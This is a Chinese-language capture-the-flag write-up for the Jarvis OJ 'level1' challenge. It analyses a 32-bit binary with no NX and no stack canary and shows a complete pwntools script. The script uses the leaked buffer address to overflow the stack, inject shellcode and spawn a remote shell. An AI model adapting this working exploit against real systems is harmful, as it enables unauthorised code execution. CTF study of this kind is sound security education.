zoukankan      html  css  js  c++  java
  • Jarvis OJ

    Jarvis OJ - [XMAN]level1 - Writeup

    M4x原创,转载请表明出处http://www.cnblogs.com/WangAoBo/p/7594173.html

    题目:

    分析

    • checksec检查保护机制如下,NX没开,可以通过执行shellcode来get shell

    • 拖到IDA中,查看函数的流程,vulnerable_function函数打印了缓冲区的起始地址,read可以读取0x100个字符,而buf到ret的偏移为0x88 + 0x4 < 0x100,而该elf又是No canary found。

    • 整理一下现有的信息:

      • 长度为0x100的缓冲区
      • 缓冲区的起始地址
      • 没有打开栈保护和NX保护

      因此,可以把shellcode填到以buf为起始地址的缓冲区里,并控制vulnerable_function返回到shellcode,就可以通过执行shellcode拿到shell,如下图

    步骤

    • 经过如上分析,写出exp如下:

     1 #!/usr/bin/env python
     2 # -*- coding: utf-8 -*-
     3 __Auther__ = 'M4x'
     4 
     5 from pwn import *
     6 context(log_level = 'debug', arch = 'i386', os = 'linux')
     7 
     8 shellcode = asm(shellcraft.sh())
     9 #  io = process('./level1')
    10 io = remote('pwn2.jarvisoj.com', 9877)
    11 text = io.recvline()[14: -2]
    12 #  print text[14:-2]
    13 buf_addr = int(text, 16)
    14 
    15 payload = shellcode + 'x90' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
    16 io.send(payload)
    17 io.interactive()
    18 io.close()

    运行exp,拿到flag

  • 相关阅读:
    robot framework 初始化清除
    python获取命令行参数
    行业基金
    Ubuntu关闭开机自启项
    ubuntu18.04安装adb
    JavaScript
    centos关闭开机自启项
    CSDN值得学习的专栏
    ubuntu和centos操作命令对比
    linux解压文件命令
  • 原文地址:https://www.cnblogs.com/WangAoBo/p/7594173.html
Copyright © 2011-2022 走看看